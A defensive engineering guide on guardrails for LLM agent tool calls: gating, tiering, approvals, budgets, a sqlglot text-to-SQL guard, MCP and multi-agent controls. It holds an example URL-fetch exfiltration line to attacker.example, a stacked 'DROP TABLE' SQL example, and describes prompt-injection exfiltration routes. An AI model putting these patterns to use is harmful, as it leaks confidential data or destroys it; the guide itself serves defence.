Tool and Action Guardrails¶

TL;DR

• Gate every tool call in deterministic code. Check role allowlists, validate arguments, enforce budgets, and require approval before any action runs.
• Tier tools by worst-case impact. Assign read, write, external, and destructive tiers, and bind strict controls and scoped credentials to each tier.
• Guard SQL execution at the database and parser. Combine a read-only database role and RLS with AST parsing, allowlists, row caps, and EXPLAIN limits. Stop agent SQL from changing its own RLS context.
• Treat MCP servers as untrusted supply-chain inputs. Hash and pin tool definitions, allowlist exposed tools per agent, bind tokens to one server, and validate all tool outputs.

• You will learn:
  • Tool impact tiers, allowlists, and argument validation
  • Human approval UX, dry runs, and idempotency
  • Step, cost, and loop budgets plus code sandboxing
  • Text-to-SQL execution guards and MCP security controls
  • Multi-agent, agent-to-agent (A2A), coding-agent, and computer-use controls
• Prerequisites: Guardrails architecture, Agentic RAG failure modes
• Related: Access control & RBAC, Threat model & OWASP, Agent tool & trajectory evals, Text-to-SQL evals, Guardrail tools

1. Why action guardrails are different¶

Input and output guardrails protect text. Action guardrails protect side effects, such as reading database rows, creating tickets, sending emails, writing files, or moving money. Three properties distinguish action guardrails from text guardrails:

The core rule follows from these differences:

The LLM proposes, and deterministic code disposes. The model may suggest a tool call. A policy layer outside the model's control decides whether the call runs, with what arguments, under whose identity, and within what limits.

That policy layer is the policy enforcement point (PEP) for actions. Access control & RBAC applies the same principle to data access.

Running example¶

Our internal enterprise assistant exposes nine tools:

Users hold one of seven roles: employee, manager, analyst, support_agent, hr_partner, finance, and admin. Access control & RBAC defines what each role can read.

2. The tool-call gate: one choke point for every action¶

Route every tool call through a single gate function. A single choke point makes your policies auditable and testable.

flowchart LR
    A["LLM proposes tool call"] --> B{"Tool allowed for role and context?"}
    B -- no --> X["Deny + structured error to model"]
    B -- yes --> C{"Args valid against schema and policy?"}
    C -- no --> X
    C -- yes --> D{"Within budgets: steps, calls, cost, rate?"}
    D -- no --> Y["Stop run + explain to user"]
    D -- yes --> T{"T2/T3 with tainted and sensitive context?"}
    T -- yes --> X
    T -- no --> E{"Tier requires approval?"}
    E -- yes --> F["Preview / dry run shown to user"]
    F -- rejected --> X
    F -- approved --> G["Execute with scoped credentials, timeout, sandbox"]
    E -- no --> G
    G --> H["Validate + sanitize result"]
    H --> I["Audit log"]
    I --> J["Return result to model as untrusted data"]

Use a minimal, framework-agnostic Python gate:

from dataclasses import dataclass
from enum import Enum


class Tier(Enum):
    READ = "T0"            # no side effects
    WRITE = "T1"           # reversible internal side effects
    EXTERNAL = "T2"        # can send data outside the trust boundary
    DESTRUCTIVE = "T3"     # irreversible or high-impact


@dataclass
class ToolSpec:
    name: str
    tier: Tier
    roles: set[str]            # roles allowed to call it
    args_model: type           # e.g. a Pydantic model
    needs_approval: bool = False
    max_calls_per_run: int = 10


class Denied(Exception):
    pass


def gate(call, user, run_state, registry: dict[str, ToolSpec]):
    spec = registry.get(call.name)
    if spec is None:
        raise Denied(f"unknown tool {call.name}")            # never trust model-invented names
    if user.role not in spec.roles:
        raise Denied(f"role {user.role} may not call {call.name}")
    args = spec.args_model.model_validate(call.arguments)   # raises on bad args
    run_state.check_budgets(call.name, spec)                # raises BudgetExceeded
    if not allowed_given_taint(spec, run_state):            # defined in §11
        raise Denied(f"{call.name} blocked: context is tainted and sensitive")
    if spec.needs_approval or spec.tier is Tier.DESTRUCTIVE:
        run_state.require_approval(call.name, args)         # pauses the run
    return spec, args

The Tier values match the four tiers in §6. Fail closed: if the gate raises any error, do not run the tool. The gate is deterministic code, so keep it inside the tool-rail latency budget of 5–50 ms per call (guardrails architecture).

Design notes:

• Return denials to the model as structured tool errors. Send a clean payload like {"error": "not_permitted"} so the model can recover or explain the denial. Never leak internal policy details that help an attacker probe the system.
• Do not rely on hiding tools from the prompt as a security control. Filtering unauthorized tools from the prompt reduces confusion and attack surface. However, the gate must still enforce the allowlist because the model can emit any tool name.
• Enforce the gate on the server side. Never rely on client-side or prompt-only checks. When you expose tools through MCP or an API, enforce authorization on the server too.

3. Tool allowlists per role and context¶

An allowlist defines which tools an agent can invoke right now. This decision depends on more than the user's role:

Practical defaults:

• Deny by default so any tool outside the allowlist for this role, agent, and channel is unavailable.
• Give each agent the smallest tool set required for its job.
• Split broad agents into narrower ones instead of granting one agent every tool.
• Prefer narrow, purpose-built tools (get_ticket(id)) over generic ones (http_request(url, method, body) or run_shell(cmd)).
• Store the allowlist in configuration or a policy engine, not in the system prompt.

4. Argument validation¶

An allowed tool can still receive dangerous arguments. Validate every argument in code before execution.

Example with Pydantic (v2 API):

from typing import Literal
from pydantic import BaseModel, EmailStr, Field, field_validator

ALLOWED_EMAIL_DOMAINS = {"company.com"}


class CreateTicketArgs(BaseModel):
    title: str = Field(min_length=5, max_length=200)
    body: str = Field(max_length=4000)
    queue: Literal["it", "facilities", "data-platform"]
    priority: Literal["low", "medium", "high"] = "medium"


class SendEmailArgs(BaseModel):
    to: list[EmailStr] = Field(min_length=1, max_length=5)
    subject: str = Field(max_length=200)
    body: str = Field(max_length=10_000)

    @field_validator("to")
    @classmethod
    def internal_only(cls, v):
        for addr in v:
            if addr.split("@")[-1].lower() not in ALLOWED_EMAIL_DOMAINS:
                raise ValueError(f"external recipient not allowed: {addr}")
        return v

(EmailStr requires the email-validator extra.)

Tips:

• Use strict structured outputs or schema-constrained tool calling when your model provider supports it. Constrained decoding reduces syntax errors, but you must still validate semantics and policy rules.
• Never let the model supply identity or tenant arguments (user_id, tenant_id, as_user). Inject identity fields from the authenticated session instead.
• Return validation errors to the model as tool errors and count them. A spike in validation failures is a valuable online signal.

5. Least privilege and scoped credentials¶

Scoped tool credentials cap the blast radius when other layers fail.

Anti-patterns:

• Sharing one privileged service account across all tools.
• Passing the user's raw upstream token directly to every downstream API. The MCP Security Best Practices call this token passthrough and forbid it. Validate that each token is issued for the specific receiving server (the token audience).
• Granting broad wildcard scopes to avoid re-consent later. The MCP security guide recommends scope minimization instead.

6. Tool tiers: read, write, destructive¶

Classify each tool by its worst-case impact, and attach controls to the tier rather than inventing rules per tool.

Use a simple heuristic: if you would not let a new intern run the action unsupervised on day one, classify it as T2 or T3.

Remember that read tools can also exfiltrate data. A call like fetch_url("https://attacker.example/?q=<secret>") is a read operation that leaks secrets. Classify tools by impact, not by HTTP verb.

Code execution is a special case. Running model-written code is high-risk by nature (ASI05 Unexpected Code Execution). The policy table in §14 puts run_python in T1 only because the sandbox in §10 has no network, no credentials, and an ephemeral filesystem. If any of these controls is missing, classify the tool as T3.

7. Human-in-the-loop approval¶

Human approval hands high-risk decisions to a person. Approval works only when reviewers see enough context to decide and receive few enough prompts to read each one carefully.

When to require approval¶

The MCP Tools specification states that a human SHOULD always be able to deny tool invocations. Clients SHOULD prompt for confirmation on sensitive operations and display tool inputs before calling the server.

Confirmation UX that works¶

• Show the exact action and arguments in plain language, not the model's summary of its plan.
• Show why the agent wants to run the tool, and flag triggers that came from retrieved content.
• Highlight specific risks such as external recipients, bulk counts, irreversible changes, or detected sensitive data.
• Offer Approve, Edit, and Reject options, and re-validate any edited arguments through the gate.
• Bind each approval to the exact payload hash, and re-prompt if the agent changes any argument.
• Expire approvals after a short window so old approvals cannot authorize new calls.
• Route high-risk approvals to a second reviewer, such as a manager or on-call engineer, when appropriate.
• Track approval rates and latency to catch rubber-stamping (overwhelming human-in-the-loop).

Dry run and preview¶

Implement a dry_run=True mode for T1–T3 tools to show what would happen without mutating state:

Display the dry-run output in the approval UI. Execute the real call only after approval using the exact same arguments.

8. Idempotency and safe retries¶

Agents retry, frameworks retry on timeouts, and models repeat calls. Without idempotency, "create ticket" quickly becomes "create three tickets".

• Generate an idempotency key per intended action (hash(run_id + tool + normalized_args)) and pass it downstream.
• Deduplicate idempotency keys in the tool gate when downstream APIs lack native idempotency support.
• Design write tools as upserts or state assertions (set_status(ticket, "closed")) instead of toggles (toggle_status).
• Record the outcome of every side-effecting call in run state, and never replay completed actions on resume.
• Distinguish failed calls from unknown timeouts, and check downstream state before retrying an unknown outcome.

9. Budgets, rate limits, and loop detection¶

Unbounded agents burn money, overload downstream systems, and enable denial-of-wallet attacks (LLM06:2026 Unbounded Consumption in Threat model & OWASP).

Loop detection¶

Watch for four common loop patterns:

• Repeating the same tool and arguments.
• Oscillating between two calls (A → B → A → B).
• Retrying a failing call with minor edits.
• Re-planning endlessly without calling tools.

from collections import Counter


def detect_loop(history: list[tuple[str, str]], window: int = 6, max_repeats: int = 3) -> bool:
    """history: list of (tool_name, normalized_args_json). Illustrative heuristic."""
    recent = history[-window:]
    counts = Counter(recent)
    if counts and counts.most_common(1)[0][1] >= max_repeats:
        return True                                  # same call repeated
    if len(recent) >= 4 and recent[-1] == recent[-3] and recent[-2] == recent[-4]:
        return True                                  # A-B-A-B oscillation
    return False

When the detector catches a loop, stop and summarize, or inject one warning message before hard-stopping on the next repeat. Log every budget and loop breach. Use breach logs to trigger alerts and feed failing traces into your eval datasets.

10. Sandboxing code execution¶

If an agent can run code (such as run_python for charts and data analysis), assume the code is hostile. A model that reads attacker-controlled content can generate malicious code.

Whether you use a managed code interpreter or a dedicated sandbox product, verify the isolation boundary. Confirm that network egress is off by default.

11. Egress controls and exfiltration channels¶

Data exfiltration requires an outbound channel. When you remove or gate outbound channels, prompt injection loses most of its impact. Outbound communication is the third leg of the lethal trifecta.

Common outbound channels in an agentic RAG system include:

Use taint tracking to block exfiltration dynamically. Mark a run as tainted when untrusted content enters the context (web pages, external emails, user uploads, third-party tool outputs). Mark the run as sensitive when confidential data enters the context. When both flags are set, disable or require approval for every T2 and T3 tool. Shared T1 writes such as create_ticket are also sinks; the one-click confirmation in §14 covers them. Research systems such as CaMeL formalize this separation (Debenedetti et al., 2025, Simon Willison's summary). For broader rules (Meta's Agents Rule of Two) and the six prompt-injection design patterns, see the lethal trifecta in Threat model & OWASP.

def allowed_given_taint(tool: ToolSpec, run_state) -> bool:
    if tool.tier in (Tier.READ, Tier.WRITE):
        return True
    # T2 external / T3 destructive
    if run_state.has_untrusted_content and run_state.has_sensitive_data:
        return False            # or: require approval with a loud warning
    return True

12. Text-to-SQL execution guardrails¶

Text-to-SQL is the highest-risk read tool in our running example because the model writes code that queries your warehouse. Text-to-SQL evals cover query accuracy, whereas this section covers safe execution. For a per-dialect table of database-enforced read-only controls (PostgreSQL, BigQuery, Snowflake, SQLite) and the dialect-specific write paths to block, see Text-to-SQL evals §3.4.

Defence in depth¶

flowchart TD
    Q["Generated SQL"] --> P["1. Parse with a real SQL parser"]
    P --> S{"2. Exactly one statement?"}
    S -- no --> D["Deny"]
    S -- yes --> C{"3. Read-only query type, no DDL/DML/COPY/INTO?"}
    C -- no --> D
    C -- yes --> F{"4. Functions allowlisted?"}
    F -- no --> D
    F -- yes --> T{"5. Tables and columns in role allowlist?"}
    T -- no --> D
    T -- yes --> R["6. Rewrite: enforce LIMIT, inject tenant filter"]
    R --> E{"7. EXPLAIN cost under cap?"}
    E -- no --> D
    E -- yes --> X["8. Execute as read-only DB role, RLS on, statement timeout"]
    X --> O["9. Post-process: row cap, column masking, PII scan"]

Treat the database as the real security boundary (steps 8–9). Steps 1–7 make failures cheaper and easier to explain to the model. However, a parser guard alone is never enough because parsers and database engines can disagree on edge cases and dialect-specific functions.

The database is a boundary only if agent-written SQL cannot change its own security context. Two common gaps:

• Spoofable session variables. If RLS reads a custom setting such as current_setting('app.tenant_id'), any role can change that setting with set_config() or SET. Revoke EXECUTE on set_config from PUBLIC, and execute agent SQL as one prepared statement so it cannot append a SET. Access control & RBAC §7 shows a tested setup.
• Views that bypass RLS. A PostgreSQL view runs with the privileges of its owner by default. If the owner bypasses RLS, the view returns every tenant's rows. Create views with security_invoker = true (PostgreSQL 15+).

Layer-by-layer checklist¶

At the database (non-negotiable):

• Create a dedicated database role for the agent with SELECT privileges only on approved schemas and views.
• Grant zero INSERT, UPDATE, DELETE, DDL, or table-ownership privileges to the agent role.
• Set the session or transaction to read-only (SET TRANSACTION READ ONLY), or route queries to a read replica. A read-only transaction also rejects SELECT ... FOR UPDATE. Treat this as a safety net, not the boundary: PostgreSQL read-only mode still allows writes to temporary tables, and a client can override the default. The grants above are the boundary (Text-to-SQL evals §3.4).
• Configure a strict statement timeout (statement_timeout in PostgreSQL or the warehouse equivalent).
• Enable row-level security for tenant and user scoping (PostgreSQL RLS). If you expose pre-filtered views instead, create them with security_invoker = true (CREATE VIEW) so RLS applies to the caller.
• Make sure the agent role is not a superuser, has no BYPASSRLS attribute, and owns no tables.
• Stop agent SQL from changing RLS context: revoke EXECUTE on set_config from PUBLIC and run each query as a single prepared statement.
• Enforce column-level grants or masking policies on sensitive columns such as salary, SSN, and email.
• Never grant the agent role pg_read_server_files, pg_write_server_files, or pg_execute_server_program (predefined roles). These roles control server-side COPY to files and programs. Do not install dblink, postgres_fdw, or (before PostgreSQL 17) adminpack in databases the agent can reach.
• Configure warehouse resource controls, including workload queue limits and per-query bytes-scanned caps.

In the application guard:

• Parse queries with a real SQL parser (sqlglot) and never rely on regex checks like "starts with SELECT".
• Allow exactly one statement per call to block stacked queries (SELECT 1; DROP TABLE ...).
• Require the AST root node to be a read query (SELECT, UNION, CTE) and reject SELECT ... INTO and FOR UPDATE/FOR SHARE.
• Allowlist every function node, not only functions the parser does not recognize. Natively parsed functions such as version() and current_user also leak information.
• Validate tables and columns against allowlists derived from the user's role, not the prompt schema. Resolve tables per scope so a CTE name cannot hide a real table, and reject catalog-qualified names (otherdb.sales.orders).
• Reject SELECT * and t.* so queries name every column explicitly for auditing and masking. Allow COUNT(*).
• Enforce a maximum LIMIT on every query. Keep a limit only if it is a plain integer literal, cap OFFSET, and also cap rows in the driver (fetchmany).
• Inject tenant filters in the AST as defense in depth on top of database RLS.
• Check query cost with EXPLAIN before executing the query.
• Bind application parameters with parameterized queries or AST nodes, and never interpolate raw user strings.

After execution:

• Cap the number of rows and bytes returned to the model.
• Mask or drop any sensitive columns that slipped through.
• Log the executed SQL, guardrail verdict, user identity, and returned row count.

Illustrative SQL guard with sqlglot¶

# illustrative: tested against sqlglot 30.23; pin your version and rerun the test corpus on upgrades.

This guard is a pre-execution filter. It is not the security boundary. Run it in front of the database controls above: a read-only role, RLS, column grants, and a revoked set_config. Also block the dialect write paths listed in Text-to-SQL evals §3.4 (for example Snowflake COPY INTO @stage, BigQuery EXPORT DATA).

from dataclasses import dataclass, field

import sqlglot
from sqlglot import exp
from sqlglot.errors import OptimizeError, ParseError, SqlglotError
from sqlglot.optimizer.qualify import qualify
from sqlglot.optimizer.scope import Scope, traverse_scope

# Schema visible per role: {db: {table: {column: type}}}. Keep in sync with DB grants.
ROLE_SCHEMAS = {
    "analyst": {
        "sales": {
            "orders": {"order_id": "INT", "region": "TEXT", "order_date": "DATE",
                       "amount": "DECIMAL", "tenant_id": "INT"},
            "regions": {"region": "TEXT", "manager": "TEXT"},
        },
    },
}
FORBIDDEN = (exp.Insert, exp.Update, exp.Delete, exp.Merge, exp.Create, exp.Drop,
             exp.Alter, exp.TruncateTable, exp.Command, exp.Into, exp.Lock)
# Allowlist ALL function nodes by sqlglot node key. Anything else is denied,
# including natively parsed functions such as version() and current_user.
ALLOWED_FUNCS = {"count", "sum", "avg", "min", "max", "round", "abs", "coalesce",
                 "nullif", "lower", "upper", "length", "cast", "case", "if",
                 "extract", "timestamptrunc", "datetrunc", "currentdate", "exists"}
ALLOWED_ANONYMOUS: set[str] = set()   # functions sqlglot does not know, by name
MAX_LIMIT = 1000
MAX_OFFSET = 10_000


@dataclass
class Verdict:
    allowed: bool
    reasons: list[str] = field(default_factory=list)
    sql: str | None = None      # rewritten SQL to execute, if allowed


def _int_literal(node) -> int | None:
    if isinstance(node, exp.Literal) and node.is_int:
        return int(node.this)
    return None


def guard_sql(sql: str, role: str, dialect: str = "postgres") -> Verdict:
    schema = ROLE_SCHEMAS.get(role)
    if not schema:
        return Verdict(False, [f"role {role!r} may not run SQL"])
    try:
        stmts = [s for s in sqlglot.parse(sql, read=dialect) if s is not None]
    except ParseError as e:
        return Verdict(False, [f"parse_error: {e}"])
    if len(stmts) != 1:
        return Verdict(False, [f"expected exactly 1 statement, got {len(stmts)}"])
    tree = stmts[0]

    # 1. Read-only query types only (no DML/DDL, SELECT INTO, or FOR UPDATE).
    if not isinstance(tree, exp.Query):
        return Verdict(False, [f"statement type {tree.key.upper()} not allowed"])
    if bad := {n.key for n in tree.walk() if isinstance(n, FORBIDDEN)}:
        return Verdict(False, [f"forbidden constructs: {sorted(bad)}"])
    if any(not isinstance(s.parent, exp.Count) for s in tree.find_all(exp.Star)):
        return Verdict(False, ["SELECT * not allowed; name columns explicitly"])

    # 2. Function allowlist over every function node.
    reasons = []
    for f in tree.find_all(exp.Func):
        if isinstance(f, exp.Anonymous):
            if f.name.lower() not in ALLOWED_ANONYMOUS:
                reasons.append(f"function not allowed: {f.name}")
        elif f.key not in ALLOWED_FUNCS:
            reasons.append(f"function not allowed: {f.sql_name()}")

    # 3. Table allowlist, resolved per scope so a CTE name cannot shadow a real table.
    try:
        scopes = traverse_scope(tree)
    except SqlglotError as e:
        return Verdict(False, [f"scope_error: {e}"])
    seen = set()
    for scope in scopes:
        for t in scope.tables:
            seen.add(id(t))
            source = scope.sources.get(t.alias_or_name)
            if isinstance(source, Scope) and not t.db and not t.catalog:
                continue                     # reference to a CTE in this scope
            if t.catalog or not (t.db in schema and t.name in schema[t.db]):
                reasons.append(f"table not allowed: {t.sql(dialect=dialect)}")
    if any(id(t) not in seen for t in tree.find_all(exp.Table)):
        reasons.append("unresolved table reference")
    if reasons:
        return Verdict(False, sorted(set(reasons)))

    # 4. Column allowlist: resolve every column against the role's schema only.
    try:
        tree = qualify(tree, schema=schema, dialect=dialect,
                       validate_qualify_columns=True)
    except OptimizeError as e:
        return Verdict(False, [f"column check failed: {e}"])

    # 5. Row cap on the outermost query: keep only a plain integer LIMIT <= MAX_LIMIT.
    limit = tree.args.get("limit")
    n = _int_literal(limit.expression) if isinstance(limit, exp.Limit) else None
    if n is None or n > MAX_LIMIT:
        tree.set("limit", None)
        tree = tree.limit(MAX_LIMIT)
    offset = tree.args.get("offset")
    if offset is not None:
        m = _int_literal(offset.expression)
        if m is None or m > MAX_OFFSET:
            return Verdict(False, [f"OFFSET must be an integer <= {MAX_OFFSET}"])
    return Verdict(True, [], tree.sql(dialect=dialect))

Sample verdicts for the analyst role (all rows run as tests against the code above):

Cover four remaining gaps outside the parser:

• Dialect differences between sqlglot and your database engine.
• Parser upgrades that change node types. Pin the sqlglot version and rerun the labeled corpus in CI.
• Expensive valid queries (mitigate with EXPLAIN limits and statement timeouts).
• Inference attacks via aggregates (mitigate with database RLS, column masking, and minimum group sizes).

Injecting tenant filters¶

Enforce row-level security in the database first. As a second layer, rewrite every reference to a tenant-scoped table into a filtered subquery using the tenant ID from the authenticated session. The subquery projects only the columns in the role's allowlist, so it works with column-level grants. PostgreSQL checks column privileges on WHERE columns too, so the agent role needs SELECT on tenant_id (Access control & RBAC §7 grants it).

import sqlglot
from sqlglot import exp

from guard import ROLE_SCHEMAS   # the guard_sql module above

TENANT_SCOPED = {("sales", "orders")}


def inject_tenant_filter(sql: str, role: str, tenant_id: int, dialect: str = "postgres") -> str:
    """Run AFTER guard_sql. Illustrative. tenant_id comes from the authenticated session."""
    schema = ROLE_SCHEMAS[role]
    tree = sqlglot.parse_one(sql, read=dialect)

    def wrap(node):
        if isinstance(node, exp.Table) and (node.db, node.name) in TENANT_SCOPED:
            cols = list(schema[node.db][node.name])          # only role-allowed columns, no SELECT *
            scoped = (exp.select(*cols)
                      .from_(exp.table_(node.name, db=node.db))
                      .where(exp.column("tenant_id").eq(exp.Literal.number(int(tenant_id)))))
            return scoped.subquery(node.alias_or_name)
        return node

    return tree.transform(wrap).sql(dialect=dialect)

# SELECT o.region FROM sales.orders AS o
# -> SELECT o.region FROM (SELECT order_id, region, order_date, amount, tenant_id
#                          FROM sales.orders WHERE tenant_id = 42) AS o

Cost caps with EXPLAIN¶

Query the database planner to estimate execution cost before running the SQL:

import json

def explain_cost_ok(cursor, sql: str, max_cost: float = 1e6, max_rows: int = 10_000_000) -> bool:
    """PostgreSQL example. Illustrative; planner costs are relative units, calibrate on your data."""
    cursor.execute("EXPLAIN (FORMAT JSON) " + sql)   # sql already guarded and rewritten
    raw = cursor.fetchone()[0]
    plan = (json.loads(raw) if isinstance(raw, str) else raw)[0]["Plan"]
    return plan["Total Cost"] <= max_cost and plan["Plan Rows"] <= max_rows

Cloud warehouses offer similar controls, such as dry-run byte estimates or per-query maximum bytes billed settings. Pair cost estimates with a hard statement timeout.

Return errors the model can use¶

Return concise denial messages such as table not allowed: hr.employees so the model can retry with an allowed table or explain the limitation. Never list the full schema of forbidden tables in error messages.

13. MCP-specific concerns¶

The Model Context Protocol (MCP) standardizes how agents discover and invoke tools on external servers. Because MCP makes integration easy, teams can accidentally connect untrusted code and prompt text directly to their agent. Treat every MCP server as a third-party dependency with prompt-level access to your model.

What the spec says¶

The current MCP specification revision is 2026-07-28. This revision is stateless: it removes the initialize handshake and the Mcp-Session-Id header, and adds server/discover. The MCP Tools specification defines these requirements for servers and clients:

• Servers MUST validate all tool inputs, enforce access controls, rate-limit invocations, and sanitize tool outputs.
• Clients SHOULD prompt for confirmation on sensitive operations, display tool inputs before calling the server, validate tool results, enforce timeouts, and log tool usage.
• Clients MUST treat tool annotations (such as read-only or destructive hints) as untrusted unless they come from a trusted server.
• A human SHOULD always be able to deny a tool invocation.

The MCP Authorization specification adds two token rules:

• Clients MUST send RFC 8707 resource indicators that name the MCP server's canonical URI, so each token is bound to one server.
• Servers MUST validate that each token was issued for them as the audience. Never accept or forward a token issued for another service.

The current MCP Security Best Practices cover these topics:

• Confused deputy attacks in OAuth proxies and token passthrough (forbidden).
• SSRF during OAuth metadata discovery.
• State handle hijacking (this replaces the session hijacking section of the 2025-06-18 revision).
• Local MCP server compromise, including one-click configuration that runs a command, and the need to sandbox local servers.
• OAuth authorization URL validation in clients, and stdio transport security when a proxy launches local servers.
• Mix-up attacks, localhost redirect URI impersonation, client ID metadata document (CIMD) trust policies, and scope minimization.

The 2025-06-18 revision of this page covered only confused deputy, token passthrough, and session hijacking. Check the revision date when you cite it.

Threats to plan for¶

MCP checklist¶

• Maintain an approved MCP server registry with source, version, owner, scopes, and tool-definition hashes. Re-approve on any hash change.
• Enforce a client-side tool allowlist per agent, even when the MCP server exposes additional tools.
• Treat all MCP tool descriptions, annotations, and results as untrusted model inputs.
• Route every MCP tool call through your own gate (§2) for role checks, argument validation, budgets, and approval.
• Separate high-trust tools (internal data, email) from low-trust MCP servers unless taint controls are active.
• Log every MCP call with server identity, tool name, redacted arguments, and result size.
• Bind every token to one MCP server (RFC 8707 resource indicator) and reject tokens with the wrong audience.
• Use OWASP's MCP Security Cheat Sheet as a review checklist for servers you build or adopt.

14. Policy table for the running example¶

Use this table as a baseline policy and tune the limits with your security team:

Global budgets: max 20 agent steps, max 30 tool calls, max cost per run set to 3× p99, and loop detection enabled. These numbers are starting rules of thumb; calibrate them on your own traffic.

Fail closed: if the gate, the policy service, or the approval service is unavailable, deny every tool call in the turn. Roll out new rules in three stages (shadow, then flag, then block) so you can measure false blocks before they affect users.

15. Evaluating tool and action guardrails¶

Test action guardrails like deterministic application code first, then test them adversarially. See agent tool & trajectory evals for agent quality evaluation.

Track five operational metrics:

• Unsafe action execution rate: target 0 (any non-zero value is a security incident).
• Unsafe action attempt rate: count how often the model attempts a blocked call. Rising attempts signal a prompt regression or active attack.
• False block rate: measure legitimate tasks blocked by overly strict rules.
• Approval rate and time-to-approve: monitor for rubber-stamping.
• Budget breach rate: break down breaches by cause (loops, cost, timeouts).

16. Multi-agent and agent-to-agent guardrails¶

Acme splits its assistant into an orchestrator and three sub-agents: a search agent, a SQL agent, and a ticket agent. Later, Acme also calls a vendor's remote travel agent over the network. Each new agent adds a new boundary. Each boundary needs the same gate as a tool call.

Agents can talk in two ways:

• Inside one system. The orchestrator calls sub-agents as functions or tools. You own all the code.
• Across systems. Your agent calls a remote agent that another team or vendor runs. The Agent2Agent (A2A) protocol is an open standard for this (A2A specification). A remote agent publishes an Agent Card: a JSON document that lists its identity, skills, endpoint, and authentication requirements.

flowchart LR
    U["User"] --> O["Orchestrator agent"]
    O -->|"gate"| S["Search agent"]
    O -->|"gate"| Q["SQL agent"]
    O -->|"gate"| T["Ticket agent"]
    O -->|"gate + A2A auth"| R["Remote vendor agent"]
    S -->|"untrusted result"| O
    Q -->|"untrusted result"| O
    T -->|"untrusted result"| O
    R -->|"untrusted result"| O

How to read this diagram:

1. Every arrow down is a delegation. Run it through a gate that checks identity, permissions, arguments, and budget.
2. Every arrow up is untrusted data. A result from another agent is like a tool result. It can be wrong, or it can carry an injection.

Rules for multi-agent systems¶

1. Authenticate every agent. Give each agent its own workload identity. For remote agents, use the authentication schemes in the Agent Card, such as OAuth 2.0 or mutual TLS. The A2A spec requires servers to authenticate every request and requires HTTPS or TLS in production.
2. Allowlist remote agents. Keep a registry of approved remote agents with owner, endpoint, skills, and Agent Card hash. Verify the Agent Card signature when the agent provides one. Re-approve when the card changes.
3. Pass the user's identity and authorize the intersection. A sub-agent may use only the permissions that the user and every agent in the chain hold. See Agent identity and delegation chains.
4. Treat peer messages as untrusted data. Apply the same taint rules as for tool results (§11). Never follow instructions found inside another agent's output.
5. Validate hand-offs against a schema. A hand-off must carry the goal, the user identity, the constraints, and the remaining budget. Reject a hand-off with missing fields.
6. Verify claims before you act on them. If a sub-agent says "Ticket INC-1042 is closed", check the ticket system before you report it or act on it.
7. Gate actions where they run. The agent that calls a T2 or T3 tool runs its own gate. Another agent cannot approve the action. Only a human can.
8. Limit delegation depth and fan-out. Set a maximum chain length (for example, 2) and a maximum number of sub-agent calls per task.
9. Share one budget across the task. Count steps, tokens, money, and time across all agents in the task, not per agent.
10. Stop the spread of failures. If a peer agent fails or behaves strangely, stop delegating to it (a circuit breaker). Do not retry the same failing peer again and again.
11. Keep one audit chain. Propagate one trace ID across all agents. Log who delegated what to whom, and with which permissions (Observability and Tracing).

These rules address ASI07 Insecure Inter-Agent Communication, ASI08 Cascading Failures, and ASI03 Identity and Privilege Abuse in the OWASP Agentic Top 10.

How to test multi-agent guardrails¶

17. Coding and computer-use agents¶

Coding agents and computer-use agents have very broad tools: a shell, a file system, a browser, or a whole desktop. One tool can do almost anything. So the controls move from per-tool rules to the environment around the agent.

See Agent Archetypes for the eval side of these agents, and Agent Eval Environments and Graders for how to test them in a sandbox.

Key takeaways¶

• Route every tool call through one deterministic gate. Enforce allowlists, argument validation, budgets, approvals, scoped credentials, and audit logging in code.
• Tier tools by worst-case impact (read, write, external, destructive). Attach controls to the tier, and remember that URL reads can exfiltrate data.
• Inject identity, tenant, and permission parameters from the authenticated session. Never let the model supply them.
• Make human approvals meaningful. Show clear dry-run previews, bind approvals to payload hashes, and keep prompt frequency low.
• Bound steps, tool calls, tokens, cost, time, and rows. Run loop detection on every agent trajectory.
• Sandbox code execution with zero credentials and no network by default. Police every egress channel, including markdown links and images.
• Enforce text-to-SQL security in the database first. Combine a read-only role, RLS, and timeouts with a sqlglot AST guard and EXPLAIN limits. Make sure agent SQL cannot change its own RLS context (set_config, stacked SET) or read through owner-rights views.
• Treat MCP servers, tool descriptions, and tool outputs as untrusted. Hash and pin tool definitions, allowlist tools per agent, bind tokens to one server, and enforce your gate in front of every call.
• Treat other agents like tools. Authenticate them, authorize the intersection of permissions, validate hand-offs, and treat their output as untrusted data.

Further reading¶

• MCP specification (latest, 2026-07-28): Tools (security considerations)
• MCP Security Best Practices
• MCP Authorization
• OWASP MCP Security Cheat Sheet
• Invariant Labs: MCP tool poisoning attacks
• OWASP Top 10 for LLM Applications 2026 (LLM03:2026 Excessive Agency, LLM06:2026 Unbounded Consumption)
• OWASP Top 10 for Agentic Applications 2026 (ASI02 Tool Misuse and Exploitation, ASI05 Unexpected Code Execution)
• Simon Willison: The lethal trifecta for AI agents
• Debenedetti et al.: Defeating Prompt Injections by Design (CaMeL)
• sqlglot
• PostgreSQL: Row Security Policies
• PostgreSQL: CREATE VIEW (security_invoker)
• Beurer-Kellner et al.: Design Patterns for Securing LLM Agents against Prompt Injections
• Agent2Agent (A2A) Protocol Specification
• Within this repo:
  • Threat model & OWASP
  • Access control & RBAC
  • Guardrail selection decision tree
  • Guardrail tools